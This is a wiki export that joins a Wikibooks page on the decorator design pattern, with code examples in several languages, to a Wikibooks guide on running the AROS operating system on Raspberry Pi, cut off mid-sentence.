~2026-50387-21 3626203 /* 4cc4b0d864ca530064729c5df04abed622ac2c1cbdd3e0ecaa963fec2dea820b7584d62deaf7e4e585d50d9d1f1ce01e7137b90eccb995b75d904527c8b1ca */ new section 4670721 wikitext text/x-wiki {{metatalk}} == Semi-protected edit request on 7 June 2026 == {{edit semi-protected|Wikibooks:Welcome|answered=no}} [[Special:Contributions/&#126;2026-33769-62|&#126;2026-33769-62]] ([[User talk:&#126;2026-33769-62|talk]]) 18:29, 7 June 2026 (UTC) == 4cc4b0d864ca530064729c5df04abed622ac2c1cbdd3e0ecaa963fec2dea820b7584d62deaf7e4e585d50d9d1f1ce01e7137b90eccb995b75d904527c8b1ca == 4cc4b0d864ca530064729c5df04abed622ac2c1cbdd3e0ecaa963fec2dea820b7584d62deaf7e4e585d50d9d1f1ce01e7137b90eccb995b75d904527c8b1ca [[Special:Contributions/~2026-50387-21|~2026-50387-21]] ([[User talk:~2026-50387-21|talk]]) 22:35, 17 September 2026 (UTC) 2j8hlo93yz6kgcbcaqp9mzvmem630vz 0 245661 4670720 4627614 2026-09-17T22:31:18Z WereSpielChequers 248949 typo 4670720 wikitext text/x-wiki {{Computer Science Design Patterns/Page |mode={{{mode|reading}}} <!-- DO NOT MODIFY THIS LINE! --> |page={{{page|{{SUBPAGENAME}}}}} <!-- DO NOT MODIFY THIS LINE! --> |stage=25 |stage date=29 Jan, 2014 |stage comment=Add more illustrations. |previous=Composite |next=Facade |content= The decorator pattern helps to add behavior or responsibilities to an object. This is also called “Wrapper”. == Examples == <noinclude>{{TODO|Find examples.}}</noinclude> == Cost == This pattern can be very expensive. You should only use it when it is really necessary. You should have lots of different behaviors and responsibilities for the same class. === Creation === This pattern is expensive to create. === Maintenance === This pattern can be expensive to maintain. If the representation of a class often changes, you will have lots of refactoring. === Removal === This pattern is hard to remove too. == Advises == * Put the ''decorator'' term in the name of the decorator classes to indicate the use of the pattern to the other developers. == Implementations == {{Java/Hidden begin|title=Implementation in C#}} This example illustrates a simple extension method for a bool type. {{Clear}} <syntaxhighlight lang="csharp"> using System; // Extension methods must be parts of static classes. static class BooleanExtensionMethodSample { public static void Main() { bool yes = true; bool no = false; // Toggle the booleans! yes should return false and no should return true. Console.WriteLine(yes.Toggle()); Console.WriteLine(no.Toggle()); } // The extension method that adds Toggle to bool. public static bool Toggle(this bool target) { // Return the opposite of the target. return !target; } } </syntaxhighlight> {{Hidden end}} {{Java/Hidden begin|title=Implementation in C++}} == Coffee making scenario == <syntaxhighlight lang="cpp"> # include <iostream> # include <string> // The abstract coffee class class Coffee { public: virtual double getCost() = 0; virtual std::string getIngredient() = 0; virtual ~Coffee() {} }; // Plain coffee without ingredient class SimpleCoffee:public Coffee { private: double cost; std::string ingredient; public: SimpleCoffee() { cost = 1; ingredient = std::string("Coffee"); } double getCost() { return cost; } std::string getIngredient() { return ingredient; } }; // Abstract decorator class class CoffeeDecorator:public Coffee { protected: Coffee & decoratedCoffee; public: CoffeeDecorator(Coffee & decoratedCoffee):decoratedCoffee(decoratedCoffee){} ~CoffeeDecorator() { delete &decoratedCoffee; } }; // Milk Decorator class Milk:public CoffeeDecorator { private: double cost; public: Milk(Coffee & decoratedCoffee):CoffeeDecorator(decoratedCoffee) { cost = 0.5; } double getCost() { return cost + decoratedCoffee.getCost(); } std::string getIngredient() { return "Milk "+decoratedCoffee.getIngredient(); } }; // Whip decorator class Whip:public CoffeeDecorator { private: double cost; public: Whip(Coffee & decoratedCoffee):CoffeeDecorator(decoratedCoffee) { cost = 0.7; } double getCost() { return cost + decoratedCoffee.getCost(); } std::string getIngredient() { return "Whip "+decoratedCoffee.getIngredient(); } }; // Sprinkles decorator class Sprinkles:public CoffeeDecorator { private: double cost; public: Sprinkles(Coffee & decoratedCoffee):CoffeeDecorator(decoratedCoffee) { cost = 0.6; } double getCost() { return cost + decoratedCoffee.getCost(); } std::string getIngredient() { return "Sprinkles "+decoratedCoffee.getIngredient(); } }; // Here's a test int main() { Coffee* sample; sample = new SimpleCoffee(); sample = new Milk(*sample); sample = new Whip(*sample); std::cout << sample->getIngredient() << std::endl; std::cout << "Cost: " << sample->getCost() << std::endl; delete sample; } </syntaxhighlight> The output of this program is given below: {{Clear}} <code> Whip Milk Coffee<br/> Cost: 2.2<br/> </code> {{Hidden end}} {{Java/Hidden begin|title=Implementation in JavaScript}} <syntaxhighlight lang="JavaScript"> // Class to be decorated function Coffee() { this.cost = function() { return 1; }; } // Decorator A function Milk(coffee) { this.cost = function() { return coffee.cost() + 0.5; }; } // Decorator B function Whip(coffee) { this.cost = function() { return coffee.cost() + 0.7; }; } // Decorator C function Sprinkles(coffee) { this.cost = function() { return coffee.cost() + 0.2; }; } // Here's one way of using it var coffee = new Milk(new Whip(new Sprinkles(new Coffee()))); alert( coffee.cost() ); // Here's another var coffee = new Coffee(); coffee = new Sprinkles(coffee); coffee = new Whip(coffee); coffee = new Milk(coffee); alert(coffee.cost()); </syntaxhighlight> {{Hidden end}} {{Java/Hidden begin|title=Implementation in Kotlin}} <syntaxhighlight lang="Kotlin"> fun printInfo(c: Coffee) { println("Cost: " + c.cost + "; Ingredients: " + c.ingredients) } fun main(args: Array<String>) { var c: Coffee = SimpleCoffee() printInfo(c) c = WithMilk(c) printInfo(c) c = WithSprinkles(c) printInfo(c) } // The interface Coffee defines the functionality of Coffee implemented by decorator interface Coffee { val cost: Double // Returns the cost of the coffee val ingredients: String // Returns the ingredients of the coffee } // Extension of a simple coffee without any extra ingredients class SimpleCoffee : Coffee { override val cost: Double get() = 1.0 override val ingredients: String get() = "Coffee" } // Abstract decorator class - note that it implements Coffee interface abstract class CoffeeDecorator(private val decoratedCoffee: Coffee) : Coffee { override// Implementing methods of the interface val cost: Double get() = decoratedCoffee.cost override val ingredients: String get() = decoratedCoffee.ingredients } // Decorator WithMilk mixes milk into coffee. // Note it extends CoffeeDecorator. class WithMilk(c: Coffee) : CoffeeDecorator(c) { override// Overriding methods defined in the abstract superclass val cost: Double get() = super.cost + 0.5 override val ingredients: String get() = super.ingredients + ", Milk" } // Decorator WithSprinkles mixes sprinkles onto coffee. // Note it extends CoffeeDecorator. class WithSprinkles(c: Coffee) : CoffeeDecorator(c) { override val cost: Double get() = super.cost + 0.2 override val ingredients: String get() = super.ingredients + ", Sprinkles" } </syntaxhighlight> The output of this program is given below: {{clear}} <code> Cost: 1.0; Ingredients: Coffee<br> Cost: 1.5; Ingredients: Coffee, Milk<br> Cost: 1.7; Ingredients: Coffee, Milk, Sprinkles<br> </code> {{Hidden end}} {{Java/Hidden begin|title=Implementation in Java}} == First Example (window/scrolling scenario)== The following Java example illustrates the use of decorators using the window/scrolling scenario. {{Clear}} <syntaxhighlight lang="java"> // the Window abstract class public abstract class Window { public abstract void draw(); // draws the Window public abstract String getDescription(); // returns a description of the Window } // extension of a simple Window without any scrollbars class SimpleWindow extends Window { public void draw() { // draw window } public String getDescription() { return "simple window"; } } </syntaxhighlight> The following classes contain the decorators for all <code>Window</code> classes, including the decorator classes themselves. <syntaxhighlight lang="java"> // abstract decorator class - note that it extends Window abstract class WindowDecorator extends Window { protected Window decoratedWindow; // the Window being decorated public WindowDecorator (Window decoratedWindow) { this.decoratedWindow = decoratedWindow; } public void draw() { decoratedWindow.draw(); //delegation } public String getDescription() { return decoratedWindow.getDescription(); //delegation } } // the first concrete decorator which adds vertical scrollbar functionality class VerticalScrollBarDecorator extends WindowDecorator { public VerticalScrollBarDecorator (Window decoratedWindow) { super(decoratedWindow); } @Override public void draw() { super.draw(); drawVerticalScrollBar(); } private void drawVerticalScrollBar() { // draw the vertical scrollbar } @Override public String getDescription() { return super.getDescription() + ", including vertical scrollbars"; } } // the second concrete decorator which adds horizontal scrollbar functionality class HorizontalScrollBarDecorator extends WindowDecorator { public HorizontalScrollBarDecorator (Window decoratedWindow) { super(decoratedWindow); } @Override public void draw() { super.draw(); drawHorizontalScrollBar(); } private void drawHorizontalScrollBar() { // draw the horizontal scrollbar } @Override public String getDescription() { return super.getDescription() + ", including horizontal scrollbars"; } } </syntaxhighlight> Here's a test program that creates a <code>Window</code> instance which is fully decorated (i.e., with vertical and horizontal scrollbars), and prints its description: <syntaxhighlight lang="java"> public class DecoratedWindowTest { public static void main(String[] args) { // create a decorated Window with horizontal and vertical scrollbars Window decoratedWindow = new HorizontalScrollBarDecorator ( new VerticalScrollBarDecorator(new SimpleWindow())); // print the Window's description System.out.println(decoratedWindow.getDescription()); } } </syntaxhighlight> The output of this program is "simple window, including vertical scrollbars, including horizontal scrollbars". Notice how the <code>getDescription</code> method of the two decorators first retrieve the decorated <code>Window</code>'s description and ''decorates'' it with a suffix. == Second Example (coffee making scenario) == The next Java example illustrates the use of decorators using coffee making scenario. In this example, the scenario only includes cost and ingredients. {{Clear}} <syntaxhighlight lang="java"> // The abstract Coffee class defines the functionality of Coffee implemented by decorator public abstract class Coffee { public abstract double getCost(); // returns the cost of the coffee public abstract String getIngredients(); // returns the ingredients of the coffee } // extension of a simple coffee without any extra ingredients public class SimpleCoffee extends Coffee { public double getCost() { return 1; } public String getIngredients() { return "Coffee"; } } </syntaxhighlight> The following classes contain the decorators for all <code>Coffee</code> classes, including the decorator classes themselves.. <syntaxhighlight lang="java"> // abstract decorator class - note that it extends Coffee abstract class public abstract class CoffeeDecorator extends Coffee { protected final Coffee decoratedCoffee; protected String ingredientSeparator = ", "; public CoffeeDecorator(Coffee decoratedCoffee) { this.decoratedCoffee = decoratedCoffee; } public double getCost() { // implementing methods of the abstract class return decoratedCoffee.getCost(); } public String getIngredients() { return decoratedCoffee.getIngredients(); } } // Decorator Milk that mixes milk with coffee // note it extends CoffeeDecorator class Milk extends CoffeeDecorator { public Milk(Coffee decoratedCoffee) { super(decoratedCoffee); } public double getCost() { // overriding methods defined in the abstract superclass return super.getCost() + 0.5; } public String getIngredients() { return super.getIngredients() + ingredientSeparator + "Milk"; } } // Decorator Whip that mixes whip with coffee // note it extends CoffeeDecorator class Whip extends CoffeeDecorator { public Whip(Coffee decoratedCoffee) { super(decoratedCoffee); } public double getCost() { return super.getCost() + 0.7; } public String getIngredients() { return super.getIngredients() + ingredientSeparator + "Whip"; } } // Decorator Sprinkles that mixes sprinkles with coffee // note it extends CoffeeDecorator class Sprinkles extends CoffeeDecorator { public Sprinkles(Coffee decoratedCoffee) { super(decoratedCoffee); } public double getCost() { return super.getCost() + 0.2; } public String getIngredients() { return super.getIngredients() + ingredientSeparator + "Sprinkles"; } } </syntaxhighlight> Here's a test program that creates a <code>Coffee</code> instance which is fully decorated (i.e., with milk, whip, sprinkles), and calculate cost of coffee and prints its ingredients: <syntaxhighlight lang="java"> public class Main { public static final void main(String[] args) { Coffee c = new SimpleCoffee(); System.out.println("Cost: " + c.getCost() + "; Ingredients: " + c.getIngredients()); c = new Milk(c); System.out.println("Cost: " + c.getCost() + "; Ingredients: " + c.getIngredients()); c = new Sprinkles(c); System.out.println("Cost: " + c.getCost() + "; Ingredients: " + c.getIngredients()); c = new Whip(c); System.out.println("Cost: " + c.getCost() + "; Ingredients: " + c.getIngredients()); // Note that you can also stack more than one decorator of the same type c = new Sprinkles(c); System.out.println("Cost: " + c.getCost() + "; Ingredients: " + c.getIngredients()); } } </syntaxhighlight> The output of this program is given below: {{clear}} <code> Cost: 1.0 Ingredient: Coffee<br/> Cost: 1.5 Ingredient: Coffee, Milk<br/> Cost: 1.7 Ingredient: Coffee, Milk, Sprinkles<br/> Cost: 2.4 Ingredient: Coffee, Milk, Sprinkles, Whip<br/> </code> {{Hidden end}} {{Java/Hidden begin|title=Implementation in Python}} == Window System == <syntaxhighlight lang="python"> # the Window base class class Window(object): def draw(self, device): device.append('flat window') def info(self): pass # The decorator pattern approach class WindowDecorator: def __init__(self, w): self.window = w def draw(self, device): self.window.draw(device) def info(self): self.window.info() class BorderDecorator(WindowDecorator): def draw(self, device): self.window.draw(device) device.append('borders') class ScrollDecorator(WindowDecorator): def draw(self, device): self.window.draw(device) device.append('scroll bars') def test_deco(): # The way of using the decorator classes w = ScrollDecorator(BorderDecorator(Window())) dev = [] w.draw(dev) print dev test_deco() </syntaxhighlight> === Difference between subclass method and decorator pattern === <syntaxhighlight lang="python"> # The subclass approach class BorderedWindow(Window): def draw(self, device): super(BorderedWindow, self).draw(device) device.append('borders') class ScrolledWindow(Window): def draw(self, device): super(ScrolledWindow, self).draw(device) device.append('scroll bars') # combine the functionalities using multiple inheritance. class MyWindow(ScrolledWindow, BorderedWindow, Window): pass def test_muli(): w = MyWindow() dev = [] w.draw(dev) print dev def test_muli2(): # note that python can create a class on the fly. MyWindow = type('MyWindow', (ScrolledWindow, BorderedWindow, Window), {}) w = MyWindow() dev = [] w.draw(dev) print dev test_muli() test_muli2() </syntaxhighlight> {{Hidden end}} {{Java/Hidden begin|title=Implementation in F#}} == Coffee example == {{Clear}} <syntaxhighlight lang="fsharp"> type Coffee() = abstract member Cost : double abstract member Ingredients: string list default this.Cost = 1.0 default this.Ingredients = ["Coffee"] type CoffeeDecorator(coffee: Coffee) = inherit Coffee () override this.Cost = coffee.Cost override this.Ingredients = coffee.Ingredients type WithMilk(coffee: Coffee) = inherit CoffeeDecorator(coffee) override this.Cost = base.Cost + 0.5 override this.Ingredients = ["Milk"] |> List.append base.Ingredients type WithSprinkles(coffee: Coffee) = inherit CoffeeDecorator(coffee) override this.Cost = base.Cost + 0.2 override this.Ingredients = ["Sprinkles"] |> List.append base.Ingredients let print (coffee: Coffee) = printfn "Cost: %.2f$; Ingredients: %A" coffee.Cost coffee.Ingredients let withAddins = Coffee() |> WithMilk |> WithSprinkles print withAddins </syntaxhighlight> {{Hidden end}} === Dynamic languages === The decorator pattern can also be implemented in dynamic languages either with interfaces or with traditional OOP inheritance. ==External links== * [http://javadesign-patterns.blogspot.com Java Design Patterns tutorial] * [http://c2.com/cgi/wiki?HistoryOfPatterns History of Design Patterns] }} <!-- ⇑ ONLY WRITE ABOVE THIS LINE! ⇑ --> 2g289t56yjkjsa1bfo1yvss011kqho5 0 286123 4670626 4670615 2026-09-17T12:08:53Z Jeff1138 301139 4670626 wikitext text/x-wiki {{ArosNav}} [[#Native]] [[#Hosted]] [[#Build]] [[#Hardware]] [[#References]] [[#Future]] ==Introduction== [[File:Scalos00.png|thumb|Scalos on Aros Pi3b]] Aros aims to cover Pi 3 to 5 1Gb+ RAM ideally as you may have to switch to 256Mb gfx mode depending on the application running Options to boot from using a good power source to prevent the yellow lightning symbol. *With Pi3b+ the max you can get is 5.1V 2.5A with micro usb. *With Pi4 5.1V 3A with usb-c *With Pi5 5.1V 5A, the amps went ever upwards, even to 5.1V 9A with usb-c Pi500+ keyboard wedge - Pi400 RPI-400 keyboard wedge - resolution changing and audio from micro hdmi0 (near 40pin) and micro hdmi1 (near usb-c psu) - Fn F10 0x5e power on and off works or held down for over 7 seconds auto shutdown - keyboard ok - wifi and lan ethernet testing - * Pi 5 - Quad A76 64bit ARMv8 and RP1 "southbridge" with VideoCore 7 Pre-D0 (Rev1.0) or D0 (rev1.1) * Pi 4 - Quad A72 64bit ARMv8 with VideoCore 6 * Pi 3 - Quad A53 [https://www.raspberrypi.com/documentation/computers/processors.html 64 bit] ARMv8 with VideoCore 4 with heatsink/fan on 3b to prevent cpu 82C+ throttling * Pi 2 - Quad 32bit ARMv6 with VideoCore 4 - mostly not 64bit compatible * Pi Model B+ 32bit ARMv6 with VideoCore 4 - not 64bit compatible * Pi Model A and B 32bit ARMv6 with VideoCore 4 - not 64bit compatible ===Native=== * 2013-03 Kalamatee starts work * 2015-04 Work continues with mschulz on the kernel and Kalamatee (NicJA) on gpio and usb * 2018 [https://www.patreon.com/posts/i-owe-you-some-20956961 mschulz resume adding BE big endian support], [https://www.patreon.com/michal_schulz/posts Big endian on Pi] * 2026 [https://github.com/aros-development-team/AROS/commits?author=bsek latest commits for pi 3b, 4 and 5 64bit] * 2026 [https://github.com/aros-development-team/AROS/commits?author=metaneutrons latest commits for Pi5] * 2026 [https://github.com/aros-development-team/AROS/commits?author=bitplane latest commits for ARM] '''Download''' [https://aros.sourceforge.io/nightly1.html RaspberryPi 3, 3+, 4 and 5 64bit ArmV8 builds] [https://sourceforge.net/projects/aros/files/ Alternative site and nightly2] both raspi-aarch64-system and raspi-aarch64-contrib can be unbz2'd and copied to fat32 8GB+ microSD card (there will be folders - boot c Classes Demos Developer Devs Extras etc only showing). The SD can be plugged in to the Pi 64bit build works well on a single core LE little endian. Multicore [https://github.com/aros-development-team/AROS/commit/1df0747c2bda3523a43029725a709b1f377d84ec may follow]. Any issues booting could be down to the SD card so please use another SD to see if it is resolved. Please report your experiences in the [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2019&rowstart=80 Aros Raspberry pi 3 64bit thread] and on the [https://forums.raspberrypi.com/viewtopic.php?p=2387984#p2387984 Raspberry Pi forum thread] Boots with '''USB3''' port based sata3 ssd on Pi400 but untested on Pi4 (may need eeprom update from PiOS or Pi SD Imager) and Pi5 Pi 3 B+ is pre-configured for USB sata3 boot - untested Pi 3 B may need [https://www.youtube.com/watch?v=ubnwvxF3Klc PiOS to set OTP to boot from usb - do so at your own risk] - if OTP set to usb, boot works but slower than SD card Speed write wise (top faster) <pre> *NVME Pi5 untested >1000MB/sec or faster if matched correctly *Sata3 ssd 500MB/sec *SD V90 90MB/sec 4K maybe 8K *SD V60 60MB/sec 1080p *SD U3 V30 30MB/sec 720p *SD C10 U1 V10 A1 A2 10MB/sec minimum should be used now *SD C06 6MB/sec *SD C04 4MB/sec </pre> As a homage to the past, Aros shows a reduced number of icons but this can be changed by left mouse click in the window and then right click down to Window -> View -> All files Windows can be manipulated by the top (moving) and the bottom right corner (resizing) only. Like most amiga like OSs the audio and networking need to be setup manually Audio AHI prefs - Mode settings tab - needs both Music unit and Unit 0 set to RPiHDMI:16 bit stereo++ or RPiPWM:16 bit stereo++ at 44100Hz. Press '''Save or Use''' button after each choice Double left mouse click on most picture (Developer/Debug/Tests/Datatypes), audio and video files are supported, via datatypes, by the multiview application. Esc escape key usually closes open windows even the desktop In Prefs/Appearance some decorative theming elements need work. There is a few Mason icons in /Prefs/Presets/Icons/Mason/ and the ever present default Gorilla - Icon exchange in works For more intensive graphics applications, you may need to edit config.txt in the root folder and change 128M to 256M to adjust more memory to graphics usage [http://archives.arosworld.org/index.php?function=browse&cat=network/browser amelinium web browser] is available with an [https://eab.abime.net/showthread.php?t=122494&page=51 eab thread] reminiscent of [https://github.com/zapek/Voyager Voyager] and to a lesser extent [https://github.com/amigazen/aweb3/ Aweb]. [[File:Wifi00.png|thumb|Setup wifi on Aros Pi3b]] [[File:Wifi01.png|thumb|Setup wifi on Aros Pi3b]] [[File:Wifi02.png|thumb|Setup wifi on Aros Pi3b]] Wifi setup needs the network prefs with the TCP/IP tab click add interface -> change Device to bwfm.device as net0:, IP Mode as DHCP and IPv4 Once you’ve configured the device, simply save the Wireless Networks tab Wi-Fi configuration even if it’s empty. This will create the Wireless.prefs file in the Prefs/Env-Archive/SYS drawer, and should see the Wireless Manager icon in Wanderer. Although a reboot maybe necessary. Wireless tab gets your router settings. If it does not set to start at boot, settings are preserved. Instead, add this to the user-startup: <pre> execute sys:system/network/arostcp/s/startnet run wirelessmanager device=bwfm.device >nil: </pre> Network will start automatically on boot. If you don't want the wirelessmanager icon on Wanderer desktop, just add 'nogui' to the wirelessmanager line Lan ethernet port on *lan9514 Pi3b Pi2 no support at the moment *lan7515 Pi3b+ type into Device usblan78xx.device as net0: remove other device(s) *bcmgenet Pi4 Pi400 choose for Device bcmgenet.device Summary *3b ethernet not supported, setup wireless manager (with interface issues) *3b+ seems to work wifi and ethernet *4 untested *400 seems to work wifi and ethernet (with interface issues) There is normally no Bluetooth support for most amiga like OSs but Aros has one [https://github.com/aros-development-team/AROS/commit/6942cbfbf66426d21963a7fcd8aba6aff611a9e0 work in progress] [https://forums.raspberrypi.com/viewtopic.php?t=338466 firmware] *Bluetooth 4.1 BCM43430A1.hcd Pi3B, Pi3A, Zero W *Bluetooth 4.2 BCM4345C0.hcd Pi3B+, Pi4 *Bluetooth 5.0 BCM4345C5.hcd Pi4B rev, CM4 and maybe Pi5 and CM5 *bthid keyboard mouse support *btserial serial *btpan short range wireless connecting devices Only the Pi5 has a RTC real time clock, the other Pis will need to use Extras:Networking/utils/ntpsync/ or [https://archives.arosworld.org/index.php?function=browse&cat=network PiNTP] to get the date and time from the internet It helps to have all usb devices already plugged in before power on to detect at the moment. Even then some usb devices will freeze the mouse cursor and the only resolution is to remove the offending usb device and reinsert. Sometimes, the reinsert leads to the mouse cursor vanishing, it is still there and responds to left and right clicks. USB classes support from Prefs/Trident is still work in process *usbaudio working on usb3 port (blue) on pi4, 400 but not working (no rt isochronous) on usb2otg (white or black) for pi3b, zero 2w *[https://aminet.net/package/mus/midi/camd camdusbmidi] detects midi devices without a preferences file (Prefs/Env-Archive/sys/midi.prefs) as [https://www.youtube.com/watch?v=RBxHkwy4Nrw auto setup now] possibly with [https://github.com/metaneutrons/mt32-pi metaneutrons mt32-pi] [https://github.com/rtzor/mt32-pi mt32-pi fork] [https://github.com/ahmadexp/mt32-pi fork] [] [https://github.com/dwhinham/mt32-pi mt32-pi pi3+] as well as need developer gcc tools to look at 64bit ports of [https://archives.arosworld.org/?function=showfile&file=driver/audio/usbmidi.i386-aros.lha usbmidi], [https://aminet.net/package/mus/midi/CAMD_Toolkit CAMD_Toolkit], [https://aminet.net/package/mus/midi/camdtools camdtools], [https://github.com/cnvogelg/amiditools amiditools], [https://github.com/timoinutilis/midi-sequencer-amigaos horny src], [https://aminet.net/package/mus/midi/horny-base horny-base], [http://bnp.hansfaust.de/index.html BnP], [], Regarding 680x0 emulation, there are several options that could be considered *[https://github.com/aros-development-team/AROS/blob/6722a0ae9e03fe5d26e32703360bd2059e0864cc/rom/m68kemu/README.md?plain=1#L424 m68kemu.library] for some Amiga productivity where the cpu is emulated and the system calls are redirected to Aros ones *[https://github.com/BlitterStudio/amiberry amiberry] (winuae) for everything else like games *[https://github.com/jonx/AROS/tree/aarch64-darwin-graft/arch/all-darwin/libs/emu68k emu68k] *[https://scriptedamigaemulator.net/ Scripted Amiga] with [https://github.com/naTmeg/ScriptedAmigaEmulator ScriptedAmigaEmulator] or older [https://github.com/gbraad-amiga/ScriptedAmigaEmulator2 ScriptedAmigaEmulator2] [https://pinout.xyz/ GPIO 40 pins] [https://learn.sparkfun.com/tutorials/raspberry-gpio/gpio-pinout pinout] Some exceptions: *Physical pins 27, 28 (GPIO0, 1) are an internal I2C bus and should not be used *The other I2C on pins 3, 5 (GPIO 2, 3) can be used generally, but be aware they have permanent pull-up resistors to 3.3V *For MIDI use USB but there are dedicated UART pins 8, 10 (GPIO 14, 15). With a HAT it's more awkward -- you need to know which pins are used by the HAT and avoid them. Hopefully this will be documented. Remember all GPIOs are 3.3V (not 5V tolerant), floating/noisy inputs can cause odd behavior, and that shorting the power supplies can cause instant death of the Pi. In the shell GPIO PIN/A/N,SET/N,GET/S,MODE/K,PULL/K Controls and queries hardware GPIO pins via gpio.resource which is stored in the rom or Devs/ '''please test''' *PIN -- (Required) Target GPIO pin number (e.g. 12). *SET -- Set pin output value to 0 (LOW) or 1 (HIGH). *GET -- Read and print current digital input level (0 or 1). *MODE -- Configure pin mode: IN (Input), OUT (Output), ALT (Alternate). *PULL -- Configure pull resistor: NONE, UP, DOWN. EXAMPLES <pre> GPIO 12 MODE OUT GPIO 12 SET 1 GPIO 12 GET GPIO 13 PULL UP </pre> [https://gpiozero.readthedocs.io/en/stable/installing.html Current] [https://gpiozero.readthedocs.io/en/v1.2.0/api_boards.html old support for gpiozero is unknown at present] [https://energenie4u.co.uk/res/pdfs/ENER314%20UM.pdf and associated 433MHz equipment] [ USA X10 security and lights via USB] [ OpenHab with Shelly Smart Plug connected over Wi-Fi, controlled by MQTT or HTTP] Printing only with Postscript but [https://github.com/bohunamiga/MintPRINT one] of [https://github.com/boingball/MintPRINT two] [https://github.com/Andiweli/AmiAirPrint/tree/main AirPrint] IPP has been attempted with [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2061&pid=13954#post_13954 discussion] Youtube [], [], [https://www.youtube.com/watch?v=X4fmWAIv7FE Aros native on Pi3b], [], [], [https://www.youtube.com/watch?v=TSxlYb1eQWU Installed on Pi3b+], [], [], [https://www.youtube.com/watch?v=NFF1H3jCoz8 testing Aros native on Pi400], [], [], [https://www.youtube.com/watch?v=nIVx7mh1E1Q&pp=ygUHYXJvcyBwadIHCQkTDAGHKiGM7w%3D%3D Aros on Thumb 2 based 32bit-ish ARM STM32H743 board], The status of AROS native ARMv6 for 32bit RasPi was OK. System booting, USB working (although with some issues but plans to fix them). 32bit native [http://www.aros.org/nightly1.html ARMv6 32bit nightlys] raspi-armhf-system raspi-armhf-contrib unbz2'd to fat32 microSD ===Hosted=== AArch64 CPU backend for AROS, a Cocoa/Metal display, clipboard / host-volume / CoreAudio / BSD-sockets bridges, GPU 2D via gpufx.library, a 68k→AArch64 JIT (run68k), and a full Rust std port. On [https://www.jkn.me/blog/macaros-aros-on-apple-silicon/ latest Apple Silicon] [https://github.com/jonx/Macaros early buggy alpha version of hosted Aros .dmg on MacOS12+]. Please use [https://github.com/jonx/Macaros/issues MACAros github] for issues, features etc and possibly [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2030&pid=13910#post_13910 here] [http://www.aros.org/snapshots1.html old linux and android hosted 32bit] ===Good sites to visit=== *[https://github.com/raspberrypi/firmware/tree/master/ Raspberry Pi Firmware build] *[https://www.raspberrypi.com/documentation/computers/software-sources.html Documentation] *[https://rpilocator.com/ RPiLocator] Linux only *[https://github.com/raspberrypi/linux Raspberry Pi Linux Build] *[https://www.raspberrypi.com/software/operating-systems/ PiOS Lite] and then [https://hstwb.firstrealize.com/ HST] *[https://dietpi.com/ DietPi] *[http://www.tinycorelinux.net/ports.html piCore] *[https://wiki.alpinelinux.org/wiki/Raspberry_Pi Alpine Linux] *[https://github.com/armbian/build Armbian] *[ PiMiga] *[ FydeOS] *[ TwisterOS based on ChromiumOS] *[https://note.com/jamesmondo/n/nc76e31402be8?hl=en BSD] Other alternative lighter smaller than Pi OS *[https://aros.sourceforge.io/nightly1.html Aros 64bit ARMV8 single core] *[https://www.riscosopen.org/wiki/documentation/show/Welcome%20to%20RISC%20OS%20Pi RiscOS on Pi3 and Pi4] *[https://github.com/michalsc/Emu68 ARM based realtime JIT 68k for amiga computers] *[https://github.com/JJDSNT/bellatrix/releases/ Alternative use of Emu68 on Pi3b] *[https://github.com/stevereaver/uaos uaOS with Emu68k] *[https://github.com/aros-development-team/AROS/commit/f80a268607dfae81b2db94755ab4e4d31ccb72d6 m68kemu library reference] *[ HaikuOS] *[https://github.com/raspberrypi/noobs NOOBS] os loader with successor [https://github.com/procount/pinn PINN] *[https://github.com/maxnet/berryboot berryboot] *[https://github.com/brianwiddas/pi-baremetal Bare Metal Access on Pi 32bit] ==== Hosted ==== =====64bit===== [https://www.arosworld.org/infusions/forum/viewthread.php?thread_id=2019&rowstart=80&pid=13667#post_13667 Ubuntu Linux PC hosted Pi compiler build] [https://github.com/BlitterStudio/aros-compiler-docker Docker based cross compiler for various Aros systems], =====32bit===== Ubuntu VM approach to compiling [http://lallafa.de/blog/2013/06/building-aros-hosted-for-raspbian/ Linux hosted AROS June 04, 2013] ../AROS/configure --target=linux-armhf --enable-includes=/usr/arm-linux-gnueabihf/include --x-includes=/usr/arm-linux-gnueabihf/include --x-libraries=/usr/arm-linux-gnueabihf/lib arm-elf- is symbol-linked to arm-linux-gnueabi- (arm-linux-gnueabi- is more correct in this case, because it's going to be compiling the ARM AROSBootstrap for ARM Linux) *armel - many of the "android" machines require since the entire OS is made for soft float VFP. *armfp - Efika MX target, Raspberry PI, EfikaMX, Pandora and virtually everything (VFP) Keep in mind it's possible to start hardfp AROS hosted on softfp system, though, as long as no calls between AROS and host require floating point parameters. NOTE: hardfloat objects *cannot* be linked with softfloat objects - they have a different ABI. Just keep in mind the arm nightly build machine is quite complex beast. It needs the x86_64 host compiler to compile AROS tools. The arm version is built every night using gcc-4.6.2 crosscompiler (built together with AROS) and successfully builds armel and armhf linux hosted targets. *needs an AROS code compiler for ARM target *as well as unix compiler for ARM linux host (would be best to have both softfp and armhf, we have softfp only now) with full set of libraries and includes. with—disable-crosstools $AROS_CC is always a wrapper around $KERNEL_CC ? If so, this is wrong for some ports. This can break Darwin, Windows and Android port. Yes, Android port will build. And even work. But it's not good because the port will not be ABI-compatible with other ARM ports. Android's ABI is different from GNUEABI. For example: <pre> enum test {foo, bar}; enum test testvar; </pre> sizeof(testvar) will be equal to sizeof(int) in GNUEABI (Linux and AROS) and sizeof(short) on Android. This affects linking objects from static linklibs, for example. Previously everything worked because $AROS_CC was a wrapper on top of $HOST_CC. And a real crosscompiler was used on non-ELF hosts. Android is the same. $KERNEL_CC is incompatible with AROS. compiler=kernel is appropriate _ONLY FOR CODE WHICH RUNS ON HOST OS_ (or barebone hardware, if we talk about native). This includes bootstraps, their linklibs, and host-side dynamic libraries (Windows makes extensive use of them because of architectural considerations. No single AROS object should be compiled with this setting. $KERNEL_CC is really compatible with AROS *ONLY IN LINUX-HOSTED* and no more. On other systems (Darwin, Windows, Android) this is not true any more, and compiler=kernel is never going to work. If you want to compile your AROS module against host OS includes, append the following to USER_INCLUDES (or USER_CFLAGS, this is effectively the same): -isystem $(GENINCDIR) $(KERNEL_INCLUDES) $(KERNEL_INCLUDES) expands to: -isystem <your_os_includes> -isystem <host_OS_gcc_private_includes> -nostdinc This makes AROS compiler adhering to host OS APIs. If you want some preprocessor symbols based on what your host OS actually is, add something like -DHOST_OS_$(AROS_HOST_ARCH). Why is there $(GENINCDIR) at all? Because host OS has 